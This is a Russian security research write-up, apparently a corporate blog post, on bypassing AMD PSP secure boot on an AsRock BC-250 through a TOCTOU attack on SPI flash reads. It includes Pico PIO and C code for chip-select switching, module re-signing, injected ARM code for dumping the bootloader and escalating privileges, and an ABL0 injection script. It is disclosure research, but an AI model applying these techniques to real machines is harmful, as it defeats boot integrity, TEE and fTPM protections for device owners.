Помните переполох с Intel ME, что устроили наши коллеги из PT SWARM? Тот, где в проприетарной прошивке, которая имеет максимальный доступ к вашей системе, обнаружили уязвимость, вследствие чего можно запустить свой код, включить отладку и, вообще, сделать с чипсетом практически всё, что заблагорассудится? Теперь такое же можно проделать и с AMD! Мы в Positive Labs решили разобраться в ситуации и исследовать ту самую плату, на которой недавно нашли уязвимость.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Автор не несет ответственности за использование информации.
Некоторое время назад мне прислали анонс выступления «Opening pAMDora's box» конференции CCC в Гамбурге. Если кратко – докладчик исследовал Sony PS5 и начал с десктопной платы на том же CPU (AMD 4700s). Идея была реализовать глитч-атаку (повторив исследование с Blackhat-2021), затем изучить AMD PSP изнутри, но в результате задуманное удалось сделать и без глитчей!

Конечно же, в анонсе не было подробностей, но мне подкинули спойлер – речь об уязвимости типа TOCTOU в процессе загрузки AMD PSP модулей. А значит, берем в руки логический анализатор и вперед, изучать, что и где загружается. AMD 4700s у меня под рукой не оказалось, но зато был его собрат – AsRock BC-250:

С помощью утилиты PSPTool в дампе BIOS с этой платы можно найти, какие компоненты PSP там есть и где они лежат:

Теперь посмотрим процесс чтения SPI-флешки логическим анализатором:

И сохраним в виде текстового лога порядок доступа к адресам флеш-памяти:
(addr 821000, 4 bytes): b8 16 02 88 (addr 821004, 4 bytes): 65 37 55 91 (addr 821008, 4 bytes): c1 e6 13 be (addr 82100C, 4 bytes): 5d 11 5f eb ...
Так как у нас есть адреса компонентов AMD PSP, из полученного лога можно сделать выводы:
похоже, что в самом начале читается off-chip bootloader,
сразу затем читается модуль «BL_PUBLIC_KEY»,
тело всех модулей PSP действительно читается дважды,
чтение происходит командами по 4 байта.
Дальнейшее изучение утилиты PSPTool показало, что в этом модуле находятся публичные ключи RSA-2048 для других компонентов, то есть это один из кусочков цепочки доверенной загрузки:

А значит, подменив ключи в этом модуле, можно переподписать, например, PSP_FW_TRUSTED_OS. Этот модуль запускается последним в цепочке и управляет такими фичами, как Trusted Execution Environment (TEE) и Firmware Trusted Platform Module (fTPM). Основная фишка этого модуля – он запускается с повышенными привилегиями, а значит, и с доступом ко всему, чему угодно:

Алгоритм подписи можно выдернуть из PSPTool, эта утилита умеет проверять целостность модулей. Заодно из этой же утилиты становится понятно, что, помимо подписи, у модуля есть SHA-256 хэш в заголовке, который тоже неплохо бы пересчитать.
signed = priv_key.sign(blob, padding.PSS(mgf=padding.MGF1(hashes.SHA256()), salt_length=32), hashes.SHA256())
А вот для реализации TOCTOU пригодится Raspberry Pi Pico 2. Эта кроха может работать на частоте 600-700 МГц и реализовывать многие вещи, для которых обычно пришлось бы использовать FPGA. Более того, совсем недавно я реализовывал на нём полноценный SPI снифер-эмулятор с поддержкой похожих атак, но в нашем случае хватит и небольшой части его функционала. Так что сооружаем конструкцию, в которой на Pico идут линии SPI с материнки, а к ней уже подключены две SPI флешки:

Согласно записанному логу, тело модуля BL_PUBLIC_KEY начинается по адресу 9DAE00, и имеет размер 0xAE0. Значит, нужно бы переключить CE с одной флешки на другую ровно перед этим, а затем обратно – после того, как тело будет прочитано. В качестве триггера пусть будет чтение некоторого адреса флешки. Вот этот PIO модуль читает в FIFO первые 32 бита всех команд на SPI шине:
.program spi_sniffer .wrap_target next_round: mov isr, NULL ; clear ISR to receive data set x, 31 wait 1 pin 30 ; wait for CS to go up wait 0 pin 30 ; wait for CS to go down read_next_cmd_bit: wait 1 pin 31 ; wait for next CLK in pins, 1 ; read next bit wait 0 pin 31 jmp x--, read_next_cmd_bit .wrap
А этот модуль получает считанные 32-битные части команд и сравнивает их с триггером. Как только получит совпадение – переключает CS на вторую флешку и держит её в течение заданного числа команд:
.program cs_switcher .wrap_target set pindirs, 1 ; first CS active wait_next: out x, 32 ; next received cmd from the reader jmp x != y, wait_next ; not the trigger value wait 1 pin 30 ; wait for CS to go up set pindirs, 2 ; switch to the second CS mov x, isr ; CS switch length next_cs: out NULL, 32 ; skip N commands jmp x--, next_cs wait 1 pin 30 ; switch back only when CS high .wrap
И третий модуль просто пробрасывает CS со входа на выходы:
.program cs_repeater .side_set 2 opt .wrap_target cs_rep_check: jmp pin, cs_rep_1 cs_rep_0: jmp cs_rep_check side 0 cs_rep_1: nop side 3 .wrap
В программном коде Pico 2 осталось загрузить PIO код и связать модули между собой:
Немного кода
int offset; pio_sm_config c; // overclock the pico so it could handle high SPI freqs vreg_disable_voltage_limit(); vreg_set_voltage(VREG_VOLTAGE_1_60); set_sys_clock_khz(480000, true); // setup CS repeater offset = pio_add_program(pio0, &cs_repeater_program); c = cs_repeater_program_get_default_config(offset); sm_config_set_jmp_pin(&c, PIN_SPI_CS); sm_config_set_sideset_pins(&c, PIN_SPI_CS0); gpio_init(PIN_SPI_CS); pio_gpio_init(pio0, PIN_SPI_CS0); pio_gpio_init(pio0, PIN_SPI_CS1); gpio_pull_up(PIN_SPI_CS0); gpio_pull_up(PIN_SPI_CS1); pio_sm_init(pio0, SM_CSRP, offset, &c); pio_sm_set_enabled(pio0, SM_CSRP, true); // setup SPI sniffer offset = pio_add_program(pio0, &spi_sniffer_program); c = spi_sniffer_program_get_default_config(offset); sm_config_set_in_shift(&c, false, true, 32); sm_config_set_in_pins(&c, PIN_SPI_MOSI); gpio_init(PIN_SPI_MOSI); gpio_init(PIN_SPI_SCK); pio_sm_init(pio0, SM_CMDA, offset, &c); // setup CS switcher offset = pio_add_program(pio0, &cs_switcher_program); c = cs_switcher_program_get_default_config(offset); sm_config_set_out_shift(&c, false, true, 32); sm_config_set_set_pins(&c, PIN_SPI_CS0, 2); sm_config_set_in_pins(&c, PIN_SPI_MOSI); pio_sm_init(pio0, SM_SWTH, offset, &c); // configure switcher with custom setter method set_pio_reg(pio0, SM_SWTH, pio_y, (0x3 << 24) | 0x9DB8DC); // switch after first body read set_pio_reg(pio0, SM_SWTH, pio_isr, 0x338 - 1); // for this amount of read commands // link sniffer and switcher int chan = dma_claim_unused_channel(true); dma_channel_config dmac = dma_channel_get_default_config(chan); channel_config_set_transfer_data_size(&dmac, DMA_SIZE_32); channel_config_set_read_increment(&dmac, false); channel_config_set_write_increment(&dmac, false); channel_config_set_dreq(&dmac, pio_get_dreq(pio0, SM_CMDA, false)); dma_channel_configure(chan, &dmac, &pio0->txf[SM_SWTH], &pio0->rxf[SM_CMDA], 0xFFFFFFFF, true); // enable sniffer & switcher pio_sm_set_enabled(pio0, SM_SWTH, true); pio_sm_set_enabled(pio0, SM_CMDA, true); // sleep the core while(1) { __asm(" wfi"); }
Всё, после запуска, процессор даже не участвует в процессе. PIO модули целиком реализуют TOCTOU. Интересно, что судя по отзывам энтузиастов, в таком режиме системную частоту можно поднять до гигагерца и даже больше (процессор перестает корректно работать после 720 МГц, но он уже и не нужен)

Все кусочки готовы, можно попробовать запуск системы. Пока что без какой-либо модификации, просто со своими ключами.
Публичный модуль сгенерированного RSA-2048 ключа нужно засунуть в BL_PUBLIC_KEY. Судя по выводу PSPTool, модуль TRUSTED_OS подписан ключом с идентификатором 5A35, он у нас по смещению 0x400:

Приватным же ключом нужно обновить подписи модулей TRUSTED_OS и DRIVER_ENTRIES (он тоже использует ключ 5A35). После переподписи можно убедиться, что всё в порядке через тот же PSPTool:

Теперь в этом «патченном» дампе модули соответствуют ключам, но сам модуль ключей некорректен. Чтобы система успешно загрузилась, во вторую флешку кидаем «чистую» систему с корректным ключевым модулем и настраиваем Pico, чтобы один раз по SPI прочитались патченные ключи, а второй раз – оригинальные:

В какое из двух чтений отдавать модифицированный, а в какое – оригинальный образ зависит от реализации кода проверки и подбирается уже экспериментально. В данном случае сработал вариант «сначала патченные данные».

Засим подтверждаем, что Trusted OS уже не такая уж и Trusted, как минимум на этой плате можно скомпрометировать всё, чем заведует TEE и fTPM. Например, для анализа и реверса софта, использующего Secure Enclave.
Вот теперь можно и продолжить исследование. Код Trusted OS у нас имеется – она в открытом виде лежит в образе BIOS. До неё исполняется off-chip загрузчик (IPL), и он уже зашифрован. Было бы интересно его вычитать и проанализировать его - вдруг найдутся какие уязвимости?
Он располагается в начале адресного пространства и именно его заменяет собой Trusted OS. Но подождите, если эта операционка перезаписывает IPL, как же его прочитать? Быстрый осмотр показал, что да, перезаписывает, но происходит это уже в самой Trusted OS, поэтому в самом начале запуска IPL всё ещё находится в оперативной памяти.

Поэтому модифицировав код самого старта, можно прочитать IPL. Ну хорошо, прочитать можем, а как его «наружу» выдать? Ведь ни UART, ни доступа к экрану у нас (пока) нет. Зато есть SPI флешка! Она замаплена в адресное пространство по адресу 0x27000000 и любой доступ к этим адресам виден на логическом анализаторе как чтение флешки.
Небольшой финт ушами – если заменить Entry Point в Trusted OS на 0x5C00, где есть свободное место, и закинуть туда вот такой код:
void start() { volatile int temp = 0; volatile int * bios_0 = (volatile int *)(0x27000000 + 0xC00000); for (int i = 0; i < 0x4000; i+=2) { unsigned short c = *(volatile unsigned short *)i; temp = bios_0[c * 4]; } asm("B 0x98"); // jump to the original entry point }
То можно вычитать часть загрузчика, выдавая данные через чтения адресов флешки! Регион 0xC00000 выбран как редко используемый, чтобы не путать чтение IPL с другой активностью на шине, а 16 КБ – максимальный объем, что успеваем прочитать, потом система виснет, похоже на срабатывание Watchdog:

Опять помогает выгрузка данных из парсера SPI команд в DS View и немного Python-скриптинга. Повторить ещё два раза – и загрузчик вычитан (размер IPL – около 40 КБ)
Допустим, на BC-250 это сработало. А что насчет обычных ПК? Попробуем в качестве эксперимента провернуть тот же манёвр, но уже на современном десктопе на базе Ryzen 5600:

И увы, чтение идёт иным образом, в Quad режиме и явно не по 4 байта за раз:

Чуть повозившись с содержимым флеша, удалось заставить десктоп читать в однобитном режиме командами 03, для этого хватило затереть вот эти байты в дескрипторе, что читается в самом начале:

Но увы, модули по-прежнему читаются блоками по 64 байта и только один раз, TOCTOU уязвимости не наблюдается:

Выходит, уязвимости подвержены только платы на базе процессора от PS5 – BC250 и 4700s Kit. Что теперь? А теперь хотелось бы достать самое «вкусное» – AMD PSP ROM по адресу 0xFFFF0000, ведь поскольку в изучаемой материнской плате применен процессор от PS5, есть большая вероятность, что бутром здесь идентичный.
Вот только проблема – ROM выкусывается из адресного пространства и скорее всего недоступен для чтения даже из IPL, не то что Trusted OS. Но ведь его точно уже вычитывал flat_z пару лет назад! Как он рассказал, доступ действительно закрывается после запуска IPL, но ему удалось найти недокументированную аппаратную возможность достучаться до этой памяти.
Прежде чем исследовать систему дальше, было бы неплохо «прокачать» стенд. Чем удобнее запуск кода - тем быстрее проводится исследование. Сейчас для запуска кода нужно слишком много действий – пересобрать ось, подписать, засунуть флешку в программатор, записать измененные блоки.. Поэтому – новая плата, новый функционал, и в путь с новыми силами!

Благодаря тому, что на Pico заведены все выводы SPI флешки, можно реализовать чтение и запись флешек прямо по USB. Более того, можно задействовать уже запущенный PIO модуль обработки CS, лишь включив OE для нужной флешки и зафорсив вход:
Ещё немного кода
case CMD_READ_FLASH: { uint8_t num = getchar(); uint32_t offset = get_u32(); uint32_t length = get_u32(); if (length) { // pause the spi PIO subsystem pio_sm_set_enabled(pio0, SM_CMDA, false); // switch the SPI pins to hardware SPI gpio_set_function(PIN_SPI_MISO, GPIO_FUNC_SPI); gpio_set_function(PIN_SPI_SCK, GPIO_FUNC_SPI); gpio_set_function(PIN_SPI_MOSI, GPIO_FUNC_SPI); // setup the CS overrides gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_HIGH); gpio_set_oeover(PIN_SPI_CS0, num == 0 ? GPIO_OVERRIDE_HIGH:GPIO_OVERRIDE_LOW); gpio_set_oeover(PIN_SPI_CS1, num == 1 ? GPIO_OVERRIDE_HIGH:GPIO_OVERRIDE_LOW); // perform the SPI read static uint8_t buf[64]; for (int i = offset; i < offset + length;) { int read_lim = 64; int left = offset + length - i; if (i % 64) { read_lim = 64 - (i % 64); } int read_size = left > read_lim ? read_lim : left; uint8_t cmdbuf[4] = {0x03, i >> 16, i >> 8, i}; gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_LOW); spi_write_blocking(spi0, cmdbuf, 4); spi_read_blocking(spi0, 0, buf, read_size); gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_HIGH); fwrite(buf, 1, read_size, stdout); i += read_size; } // switch SPI pins back gpio_init(PIN_SPI_MISO); gpio_init(PIN_SPI_SCK); gpio_init(PIN_SPI_MOSI); // unforce CS gpio_set_oeover(PIN_SPI_CS0, GPIO_OVERRIDE_NORMAL); gpio_set_oeover(PIN_SPI_CS1, GPIO_OVERRIDE_NORMAL); gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_NORMAL); // unpause SPI pio_sm_set_enabled(pio0, SM_CMDA, true); } break; }
Теперь можно читать/писать обе флешки и обновлять модифицированный код Trusted OS одним кликом и без дополнительного программатора!

Теперь ещё одна важная вещь – получить отладочный вывод без всяких логических анализаторов. Чтобы в течение нескольких секунд после запуска можно было получить бинарный или текстовый дамп из загруженного кода.
Для этого строим новый PIO модуль, который будет выковыривать из SPI чтений дебажные байтики. Тесты показали, что лучше использовать диапазон 0xDxxxxx, поэтому PIO ждёт шаблон "03 Dx" и сохраняет следующие 16 бит адреса:
.program spi_debug .wrap_target wait_next: pull ; next cmd from the reader into osr out x, 12 ; high part of the address + reading cmd jmp x != y, wait_next ; not the debug pattern (0x3D) out isr 16 ; debug data, 2 bytes push .wrap
Ему точно так же по DMA скармливаем выхлоп от сниффера, а уже его вывод сохраняем в буфер для дальнейшей передачи по USB:
if (!pio_sm_is_rx_fifo_empty(pio1, SM_DBG)) { uint32_t dbgwrd = pio_sm_get_blocking(pio1, SM_DBG); if (dbg_ptr < sizeof(dbg_buffer)) { dbg_buffer[dbg_ptr/2] = dbgwrd; dbg_ptr += 2; } }
И вуаля, теперь можно быстро смотреть данные прямо по USB с Pico:

Следующий шаг - составить карту физического адресного пространства, вдруг есть подозрительные регионы, ведущие к ROM, помимо 0xFFFF0000. Чтобы проверить, доступен ли конкретный физический адрес из-под процессора, для начала нужно вырубить MMU, либо задать трансляцию адресного пространства 1:1 для всех 32 бит. Мне показался первый вариант более простым. Тем более, что Trusted OS это и так делает в самом начале:

Достаточно перехватить управление в этом месте, когда всё уже сделано за нас.
Попытка доступа к невалидному адресу вызывает Data Abort – специальное прерывание, в котором обычно обработчик делает что-то с трансляцией адресного пространства, если эта ошибка ожидалась (например, был затронут специальный диапазон адресов для динамической подгрузки данных), ну или виснет в противном случае.
Используем этот факт для пробирования памяти. В качестве кода для вектора прерывания зададим вот такое:
asm("MOV R0, #2"); // set return value to 2 asm("SUB PC, LR, #0"); // return to previously executed function skipping two opcodes
А в качестве функции «проверки» вот такое:
int __attribute__ ((noinline)) check_address_access(unsigned int address) { asm("MOV R11, LR"); // save LR, this will be modified by abort asm("LDR %0, [%0]" : "=r"(address)); // try to access the address asm("MOV R0, #1"); // if no error, return value is 1 asm("MOV LR, R11"); // we return here in case of data abort return address; // should be R0 due to ARM ABI }
Если ошибка возникает, то обработчик прерывания выставляет 2 в качестве значения возврата, иначе управление проходит дальше и возвращается значение 1. Ну всё, можно брутфорсить:
int start() { int last_err = 2; for (unsigned int a = 0; a < 0xFFFFF000; a+= 0x1000) { if ((a & 0xFF000000) == 0x27000000) continue; // skip mapped flash range to avoid accidental debug prints int test_result = check_address_access(a); if (test_result != last_err) { last_err = test_result; dbg_32(a); } } while(1); }
В результате чего получаем пары «начало диапазона» – «конец диапазона»:
Все доступные диапазоны
0x00000000..0x00080000 0x01000000..0x01001000 0x01003000..0x0100D000 0x0100E000..0x0101F000 0x01020000..0x01022000 0x01024000..0x01025000 0x01028000..0x01044000 0x01050000..0x01054000 0x0105A000..0x0105F000 0x01068000..0x0106F000 0x01100000..0x01101000 0x01103000..0x0110D000 0x0110E000..0x0111F000 0x01120000..0x01122000 0x01124000..0x01125000 0x01128000..0x01144000 0x01150000..0x01154000 0x0115A000..0x0115F000 0x01168000..0x0116F000 0x01200000..0x01201000 0x01203000..0x0120D000 0x0120E000..0x0121F000 0x01220000..0x01222000 0x01224000..0x01225000 0x01228000..0x01244000 0x01250000..0x01254000 0x0125A000..0x0125F000 0x01268000..0x0126F000 0x01300000..0x01301000 0x01303000..0x0130D000 0x0130E000..0x0131F000 0x01320000..0x01322000 0x01324000..0x01325000 0x01328000..0x01344000 0x01350000..0x01354000 0x0135A000..0x0135F000 0x01368000..0x0136F000 0x01400000..0x01401000 0x01403000..0x0140D000 0x0140E000..0x0141F000 0x01420000..0x01422000 0x01424000..0x01425000 0x01428000..0x01444000 0x01450000..0x01454000 0x0145A000..0x0145F000 0x01468000..0x0146F000 0x01500000..0x01501000 0x01503000..0x0150D000 0x0150E000..0x0151F000 0x01520000..0x01522000 0x01524000..0x01525000 0x01528000..0x01544000 0x01550000..0x01554000 0x0155A000..0x0155F000 0x01568000..0x0156F000 0x01600000..0x01601000 0x01603000..0x0160D000 0x0160E000..0x0161F000 0x01620000..0x01622000 0x01624000..0x01625000 0x01628000..0x01644000 0x01650000..0x01654000 0x0165A000..0x0165F000 0x01668000..0x0166F000 0x01700000..0x01701000 0x01703000..0x0170D000 0x0170E000..0x0171F000 0x01720000..0x01722000 0x01724000..0x01725000 0x01728000..0x01744000 0x01750000..0x01754000 0x0175A000..0x0175F000 0x01768000..0x0176F000 0x01800000..0x01801000 0x01803000..0x0180D000 0x0180E000..0x0181F000 0x01820000..0x01822000 0x01824000..0x01825000 0x01828000..0x01844000 0x01850000..0x01854000 0x0185A000..0x0185F000 0x01868000..0x0186F000 0x01900000..0x01901000 0x01903000..0x0190D000 0x0190E000..0x0191F000 0x01920000..0x01922000 0x01924000..0x01925000 0x01928000..0x01944000 0x01950000..0x01954000 0x0195A000..0x0195F000 0x01968000..0x0196F000 0x01A00000..0x01A01000 0x01A03000..0x01A0D000 0x01A0E000..0x01A1F000 0x01A20000..0x01A22000 0x01A24000..0x01A25000 0x01A28000..0x01A44000 0x01A50000..0x01A54000 0x01A5A000..0x01A5F000 0x01A68000..0x01A6F000 0x01B00000..0x01B01000 0x01B03000..0x01B0D000 0x01B0E000..0x01B1F000 0x01B20000..0x01B22000 0x01B24000..0x01B25000 0x01B28000..0x01B44000 0x01B50000..0x01B54000 0x01B5A000..0x01B5F000 0x01B68000..0x01B6F000 0x01C00000..0x01C01000 0x01C03000..0x01C0D000 0x01C0E000..0x01C1F000 0x01C20000..0x01C22000 0x01C24000..0x01C25000 0x01C28000..0x01C44000 0x01C50000..0x01C54000 0x01C5A000..0x01C5F000 0x01C68000..0x01C6F000 0x01D00000..0x01D01000 0x01D03000..0x01D0D000 0x01D0E000..0x01D1F000 0x01D20000..0x01D22000 0x01D24000..0x01D25000 0x01D28000..0x01D44000 0x01D50000..0x01D54000 0x01D5A000..0x01D5F000 0x01D68000..0x01D6F000 0x01E00000..0x01E01000 0x01E03000..0x01E0D000 0x01E0E000..0x01E1F000 0x01E20000..0x01E22000 0x01E24000..0x01E25000 0x01E28000..0x01E44000 0x01E50000..0x01E54000 0x01E5A000..0x01E5F000 0x01E68000..0x01E6F000 0x01F00000..0x01F01000 0x01F03000..0x01F0D000 0x01F0E000..0x01F1F000 0x01F20000..0x01F22000 0x01F24000..0x01F25000 0x01F28000..0x01F44000 0x01F50000..0x01F54000 0x01F5A000..0x01F5F000 0x01F68000..0x01F6F000 0x02000000..0x02001000 0x02003000..0x0200D000 0x0200E000..0x0201F000 0x02020000..0x02022000 0x02024000..0x02025000 0x02028000..0x02044000 0x02050000..0x02054000 0x0205A000..0x0205F000 0x02068000..0x0206F000 0x02100000..0x02101000 0x02103000..0x0210D000 0x0210E000..0x0211F000 0x02120000..0x02122000 0x02124000..0x02125000 0x02128000..0x02144000 0x02150000..0x02154000 0x0215A000..0x0215F000 0x02168000..0x0216F000 0x02200000..0x02201000 0x02203000..0x0220D000 0x0220E000..0x0221F000 0x02220000..0x02222000 0x02224000..0x02225000 0x02228000..0x02244000 0x02250000..0x02254000 0x0225A000..0x0225F000 0x02268000..0x0226F000 0x02300000..0x02301000 0x02303000..0x0230D000 0x0230E000..0x0231F000 0x02320000..0x02322000 0x02324000..0x02325000 0x02328000..0x02344000 0x02350000..0x02354000 0x0235A000..0x0235F000 0x02368000..0x0236F000 0x02400000..0x02401000 0x02403000..0x0240D000 0x0240E000..0x0241F000 0x02420000..0x02422000 0x02424000..0x02425000 0x02428000..0x02444000 0x02450000..0x02454000 0x0245A000..0x0245F000 0x02468000..0x0246F000 0x02500000..0x02501000 0x02503000..0x0250D000 0x0250E000..0x0251F000 0x02520000..0x02522000 0x02524000..0x02525000 0x02528000..0x02544000 0x02550000..0x02554000 0x0255A000..0x0255F000 0x02568000..0x0256F000 0x02600000..0x02601000 0x02603000..0x0260D000 0x0260E000..0x0261F000 0x02620000..0x02622000 0x02624000..0x02625000 0x02628000..0x02644000 0x02650000..0x02654000 0x0265A000..0x0265F000 0x02668000..0x0266F000 0x02700000..0x02701000 0x02703000..0x0270D000 0x0270E000..0x0271F000 0x02720000..0x02722000 0x02724000..0x02725000 0x02728000..0x02744000 0x02750000..0x02754000 0x0275A000..0x0275F000 0x02768000..0x0276F000 0x02800000..0x02801000 0x02803000..0x0280D000 0x0280E000..0x0281F000 0x02820000..0x02822000 0x02824000..0x02825000 0x02828000..0x02844000 0x02850000..0x02854000 0x0285A000..0x0285F000 0x02868000..0x0286F000 0x02900000..0x02901000 0x02903000..0x0290D000 0x0290E000..0x0291F000 0x02920000..0x02922000 0x02924000..0x02925000 0x02928000..0x02944000 0x02950000..0x02954000 0x0295A000..0x0295F000 0x02968000..0x0296F000 0x02A00000..0x02A01000 0x02A03000..0x02A0D000 0x02A0E000..0x02A1F000 0x02A20000..0x02A22000 0x02A24000..0x02A25000 0x02A28000..0x02A44000 0x02A50000..0x02A54000 0x02A5A000..0x02A5F000 0x02A68000..0x02A6F000 0x02B00000..0x02B01000 0x02B03000..0x02B0D000 0x02B0E000..0x02B1F000 0x02B20000..0x02B22000 0x02B24000..0x02B25000 0x02B28000..0x02B44000 0x02B50000..0x02B54000 0x02B5A000..0x02B5F000 0x02B68000..0x02B6F000 0x02F00000..0x02F01000 0x02F03000..0x02F0D000 0x02F0E000..0x02F1F000 0x02F20000..0x02F22000 0x02F24000..0x02F25000 0x02F28000..0x02F44000 0x02F50000..0x02F54000 0x02F5A000..0x02F5F000 0x02F68000..0x02F6F000 0x03000000..0x03020000 0x03030000..0x03040000 0x03200000..0x03231000 0x03238000..0x03239000 0x03240000..0x03241000 0x03260000..0x03270000 0x26B03000..0x26B04000 0x26B05000..0x26B06000 0x26D80000..0x26D82000
И после удаления дубликатов, ведущих в те же места, получаем:
Реально полезные диапазоны
0x00000000..0x00080000 0x01000000..0x01001000 0x01003000..0x0100D000 0x0100E000..0x0101F000 0x01020000..0x01022000 0x01024000..0x01025000 0x01028000..0x01044000 0x01050000..0x01054000 0x0105A000..0x0105F000 0x01068000..0x0106F000 0x01100000..0x01101000 0x01103000..0x0110D000 0x0110E000..0x0111F000 0x01120000..0x01122000 0x01124000..0x01125000 0x01128000..0x01144000 0x01150000..0x01154000 0x0115A000..0x0115F000 0x01168000..0x0116F000 0x03000000..0x03020000 0x03030000..0x03040000 0x03200000..0x03231000 0x03238000..0x03239000 0x03240000..0x03241000 0x03260000..0x03270000 0x26B03000..0x26B04000 0x26B05000..0x26B06000 0x26D80000..0x26D82000
Ничего похожего на Mask ROM в этих диапазонах обнаружить не удалось. Может, есть обходной способ доступа к памяти, которым получится достучаться до ROM? Согласно предыдущим исследованиям AMD PSP, он действительно есть, даже несколько:
Crypto CoProcessor (CCP) – отдельный модуль аппаратного ускорения функций шифрования и хэш-сумм, умеет также мапить регионы памяти и прогонять через DMA.
SysHub – ещё один модуль, но уже для доступа к основной DRAM и адресному пространству x86 процессора с помощью отдельного сегмента адресов:

В то время как CCP работает с адресным пространством самого ARM процессора, с его AXI шиной (а значит, BootROM с большой вероятностью ему уже тоже недоступен), SysHub лезет уже в другое адресное пространство. Вдруг особыми адресами удастся нащупать там ROM?
Пробирование адресного пространства x86 не сильно отличается от перебора ARM – мапим память в слот, лезем в этот слот, если был Data Abort, значит, мапинг не удался. Иначе записываем себе очередной диапазон... И так все 48 бит или сколько оно там умеет.

Кстати, в IPL оказалось целых три разных вида мапинга памяти через SysHub:
void map_syshub(unsigned long long address, unsigned int par4, unsigned int par8, unsigned int parC, unsigned int mask, unsigned int flags) { unsigned int alo = address & 0xFFFFFFFF; unsigned int ahi = address >> 32; unsigned int * hub0 = (unsigned int *)0x3230000; unsigned int * hubmask0 = (unsigned int *)0x32301F0; unsigned int * hubflags0 = (unsigned int *)0x323026C; unsigned int * hubsig0 = (unsigned int *)0x3230308; hub0[4] = (alo >> 26) | ((ahi & 0xFFFF) << 6); hub0[5] = par4; hub0[6] = par8; hub0[7] = parC; hubmask0[1] = mask; hubflags0[1] = flags; hubsig0[0] = 0x3333; asm("DSB SY"); asm("ISB"); } void * map_dram(unsigned long long address64) // regular DRAM { map_syshub(address64, 0x12, 4, 4, 0xFFFFFFFF, 0xC0800000); return (void *)(0x8000000 + (unsigned int)(address64 & 0x3FFFFFF)); } void * map_fch(unsigned long long address64) // I/O ports + MMIO { map_syshub(address64, 0x12, 6, 6, 0xFFFFFFFF, 0xC0000000); return (void *)(0x8000000 + (unsigned int)(address64 & 0x3FFFFFF)); } void * map_fram(unsigned long long address64) // Secure DRAM ?? { map_syshub(address64, 0x12, 4, 4, 0xFFFFFFFF, 0xC0808000); return (void *)(0x8000000 + (unsigned int)(address64 & 0x3FFFFFF)); }
Брутфорс показал не так много регионов:
DRAM mapping: 0000'00000000 .. 0000'80000000 - x86 RAM, low part 0001'00000000 .. 0004'7F300000 - x86 RAM, high part FFFD'F7000000 .. FFFD'F7100000 - test RAM FCH mapping: 0000'00000000 .. 0000'10000000 - I/O ports 0000'FF000000 .. 0001'00000000 - BIOS mapped 00FD'F9000000 .. 00FD'F9100000 - 0x7777 ??
C Secure DRAM интереснее – в режиме выключенного MMU доступ всегда приводит к ошибке. При этом в системе она по умолчанию замаплена в слоте 0 и использует адрес 0xFFFD'FB000000, при попытке её размапить, система вскоре перестаёт отвечать. Увы, причины такого поведения выяснить не удалось.
Ни в одном из диапазонов, конечно же, ROM я тоже не нашёл. Был уже вечер пятницы, с учётом, что в субботу на докладе тайна чтения ROM будет раскрыта, я забросил попытки, признав поражение.

На докладе действительно рассказали, как достучались до 0xFFFF0000. Да, адрес блокируется и недоступен из нашего исполняемого кода. Поэтому нужно ребутнуть процессор, чтобы ROM появился, а перед этим настроить DMA криптопроцессора, чтобы он скопировал ROM куда-нибудь в RAM сразу после ребута ARM ядра. Ах да, перехватить управление PSP желательно на самом раннем этапе, чтобы ни x86, ни проверка RAM нам не мешались.
Ну что, попробуем проделать всё это самостоятельно. Вместо Trusted OS теперь колупаем ABL0 – первичный загрузчик AGESA. Он подписан ключом с идентификатором 663C, так что меняем ключ и переподписываем всё это дело. Или нет? Даже родной образ не проходит проверку в PSPTool:

Но подождите, может это связано с тем, что они пожаты? И действительно, если заставить PSPTool проверять подпись, не разжимая данные, всё становится хорошо:
def get_signed_bytes(self) -> bytes: file_bytes = self.header.get_bytes() + self.get_decrypted_body() // <=== return file_bytes[:len(self.header) + self.size_signed]

Соответственно, обратно код нужно скомпилировать, упаковать, подписать, подправить заголовки... Вот здесь я немного подзастрял, учитывая, что мой дебаг в ограниченном режиме, где исполняется ABL, не работает. Но в конце концов оно заработало. Чтобы не заморачиваться с первичной инициализацией и не менять все заголовки (а размер загрузчика фигурирует во многих местах), я внедрил код прямо в оригинальный ABL0:
# load the compiled binary main = open("main.bin", "rb").read() # load the original decompressed binary data = open("abl0_orig.bin", "rb").read() # inject it somewhere aligned in the main function data = data[:0x0B0] + main + data[0x0B0 + len(main):] # align the code before compression if len(data) & 0xF: data += b"\x00" * (0x10 - (len(data) & 0xF)) # needed for the header hash = hashlib.sha256(data) # compress the data data = zlib.compress(data) comp_size = len(data) # align compressed data if len(data) & 0xF: data += b"\x00" * (0x10 - (len(data) & 0xF)) # build the header using the original one header = open("header.bin", "rb").read() header = header[:0x54] + struct.pack("<I", comp_size) + header[0x58:] header += hash.digest() + b"\x00" * 0x10 # sign to the final binary with_header = header + data private_key = load_private_key("privkey.pem") with_header_signed = with_header + rsa_sign(with_header, private_key)
А дальше необходимо повышение прав – без этого ни процессор ребутнуть, ни DMA настроить. На конфе было рассказано, как этого достиг автор – перезаписью таблицы векторов через CCP DMA. Но у него в старой версии BIOS вообще не было Trusted OS и на этапе ABL0 был доступ к аппаратным регистрам.
К сожалению, для моей платы BC-250 такой версии BIOS нет, но в докладе мельком упоминалось, что в IPL есть системный вызов, который позволяет читать и писать аппаратные регистры, в том числе и CCP! То, что нужно:

Соответствующие функции выглядят как-то так:
unsigned int __attribute__((noinline)) svc_read(unsigned int address) { unsigned int result; unsigned int * rptr = &result; asm("MOV R0, %0" : : "r"(address)); asm("MOV R1, %0" : : "r"(rptr)); asm("SVC 0xF3"); return result; } void __attribute__((noinline)) svc_write(unsigned int address, unsigned int value) { asm("MOV R0, %0" : : "r"(address)); asm("MOV R1, %0" : : "r"(value)); asm("SVC 0xF2"); }
А дальше осталось повысить привилегии, перезаписав адрес обработчика системного вызова в IPL как в примере, что выложил автор доклада:
